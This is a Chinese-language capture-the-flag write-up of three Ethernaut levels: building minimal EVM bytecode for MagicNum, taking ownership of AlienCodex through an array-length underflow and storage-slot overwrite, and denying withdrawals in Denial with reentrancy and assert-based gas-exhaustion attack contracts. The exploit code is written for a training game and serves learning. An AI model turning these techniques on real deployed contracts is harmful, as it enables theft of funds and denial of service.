目标:使用 10 个操作码输出 42
pragma solidity ^0.4.24; contract MagicNum { address public solver; constructor() public {} function setSolver(address _solver) public { solver = _solver; } /* ____________/\\\_______/\\\\\\\\\_____ __________/\\\\\_____/\\\///////\\\___ ________/\\\/\\\____\///______\//\\\__ ______/\\\/\/\\\______________/\\\/___ ____/\\\/__\/\\\___________/\\\//_____ __/\\\\\\\\\\\\\\\\_____/\\\//________ _\///////////\\\//____/\\\/___________ ___________\/\\\_____/\\\\\\\\\\\\\\\_ ___________\///_____\///////////////__ */ }
原理:https://hitcxy.com/2019/ethernaut/ 太强了!
在合约创建的时候,用户或合约将交易发送到以太坊网络,没有参数 to,表示这是个合约创建而不是一个交易
EVM 把 solidity 代码编译为 字节码,字节码直接转换成 opcodes 运行
字节码包含两部分:initialization code 和 runtime code ,一开始合约创建的时候 EVM 只执行 initialization code,遇到第一个 stop 或者 return 的时候合约的构造函数就运行了,此时合约便有了地址
想要做这道题要构造这两段代码 initialization code 和 runtime code,initialization code 是由 EVM 创建并且存储需要用的 runtime code 的,所以首先来看 runtime code,想要返回 42,需要用 return(p,s) 但是在返回值前先要把值存储到内存中 mstore(p, v)
首先,用 mstore(p,v) 把 42 存储到内存中,v 是 42 的十六进制值 0x2a,p 是内存中的位置(不知道为啥)
0x602a ;PUSH1 0x2a v 0x6080 ;PUSH1 0x80 p 0x52 ;MSTORE
然后,用 return(p,s) 返回 42,p 是存储的位置,s 是存储所占的大小不明白为啥是 0x20
0x6020 ;PUSH1 0x20 s 0x6080 ;PUSH1 0x80 p 0xf3 ;RETURN
所以整个 runtime code 是 0x602a60805260206080f3
再来看 initialization code,首先 initialization code 要把 runtime code 拷贝到内训,然后再返回给 EVM
将代码从一个地方复制到一个地方的方法是 codecopy(t, f, s)。t 是目标位置,f 是当前位置,s 是代码大小(单位:字节),之前我们的代码大小为 10 字节
;copy bytecode to memory 0x600a ;PUSH1 0x0a S(runtime code size) 0x60?? ;PUSH1 0x?? F(current position of runtime opcodes) 0x6000 ;PUSH1 0x00 T(destination memory index 0) 0x39 ;CODECOPY
然后,将内存中的 runtime codes 返回到 EVM
;return code from memory to EVM 0x600a ;PUSH1 0x0a S 0x6000 ;PUSH1 0x00 P 0xf3 ;RETURN
initialization codes 总共占了 0x0c 字节,这表示 runtime codes 从索引 0x0c 开始,所以 ?? 的地方是 0x0c
所以,initialization codes 最后的顺序是 600a600c600039600a6000f3
两个拼起来,得到字节码是:0x600a600c600039600a6000f3602a60805260206080f3
var bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";
web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)});
然后去刚才交易的详情去看一下
拿到新的合约地址之后 await contract.setSolver("合约地址"),然后就通关了
目标:拿到合约所有权
pragma solidity ^0.4.24; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract AlienCodex is Ownable { bool public contact;//布尔型变量contact bytes32[] public codex; modifier contacted() { assert(contact); _;//函数修饰符,要通过contact必须要是true } function make_contact(bytes32[] _firstContactMessage) public { assert(_firstContactMessage.length > 2**200);//要求数组的长度必须是大于2的200次方 contact = true; }//可以通过这个函数,使得contact变为true function record(bytes32 _content) contacted public { codex.push(_content); }//增加数组长度 function retract() contacted public { codex.length--; }//减少数组长度 function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; }//修改数组里的内容 }
由于 EVM 存储优化的关系,在 slot [0] 中同时存储了 contact 和 owner,所以我们要做的就是将 owner 变量覆盖为自己账户地址
所有函数都有 contacted 限制,所以必须要先通过 make_contact 把 contact 改成 true
make_contact() 函数只验证传入数组的长度。OPCODE 中数组长度是存储在某个 slot 上的,并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成 data 发送
sig = web3.sha3("make_contact(bytes32[])").slice(0,10) // "0x1d3d4c0b" // 函数选择器 data1 = "0000000000000000000000000000000000000000000000000000000000000020" // 除去函数选择器,数组长度的存储从第0x20位开始,上面是32字节 data2 = "1000000000000000000000000000000000000000000000000000000000000001" // 数组的长度 contract.sendTransaction({data: sig + data1 + data2}); // 发送交易
之后通过调用 retract(),使得 codex 数组长度下溢。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
await contract.retract()
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
再来看一下 codex 的位置:
我们要修改 slot 0 对应的 codex[?]
codex[X] == SLOAD(keccak256(slot) + X)
X 就是我们传入的那一个下标,是我们可控的,我们改成 2^256 - keccak256(slot) 这样实际上就是 2^256,总共有 2^256 个 slot,我们去找的就是 slot 2^256 也就是 slot 0
codex 的 slot 是 1,所以我们用下面的方法去计算一下
pragma solidity ^0.4.18; contract test { function go() view returns(bytes32){ return keccak256((bytes32(1))); } }
2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 = 35707666377435648211887908874984608119992236509074197713628505308453184860938
所以我们把 codex 的下标改成这个之后实际修改的就是 slot 0 的地址
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001改成player的地址')
目标:造成 DOS 使得合约的 owner 在调用 withdraw 时无法正常提取资产
pragma solidity ^0.4.24; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Denial { using SafeMath for uint256; address public partner; address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; function setWithdrawPartner(address _partner) public { partner = _partner; } function withdraw() public { uint amountToSend = address(this).balance.div(100); partner.call.value(amountToSend)(); owner.transfer(amountToSend); timeLastWithdrawn = now; withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); } function() payable {} function contractBalance() view returns (uint) { return address(this).balance; } }
可以使用重入攻击的方法,把钱全部转走 exp:
pragma solidity ^0.4.23; contract Denial { address public partner; address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; function setWithdrawPartner(address _partner) public { partner = _partner; } function withdraw() public { uint amountToSend = address(this).balance/100; partner.call.value(amountToSend)(); owner.transfer(amountToSend); timeLastWithdrawn = now; withdrawPartnerBalances[partner] += amountToSend; } function() payable {} function contractBalance() view returns (uint) { return address(this).balance; } } contract Attack{ address instance_address = 题目合约地址; Denial target = Denial(instance_address); function hack() public { target.setWithdrawPartner(address(this)); target.withdraw(); } function () payable public { target.withdraw(); } }
部署,点击 hack 然后提交就可以啦
还有一种方法是 assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了
pragma solidity ^0.4.23; contract Denial { address public partner; address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; function setWithdrawPartner(address _partner) public { partner = _partner; } function withdraw() public { uint amountToSend = address(this).balance/100; partner.call.value(amountToSend)(); owner.transfer(amountToSend); timeLastWithdrawn = now; withdrawPartnerBalances[partner] += amountToSend; } function() payable {} function contractBalance() view returns (uint) { return address(this).balance; } } contract Attack{ address instance_address = 题目合约地址; Denial target = Denial(instance_address); function hack() public { target.setWithdrawPartner(address(this)); target.withdraw(); } function () payable public { assert(0==1); } }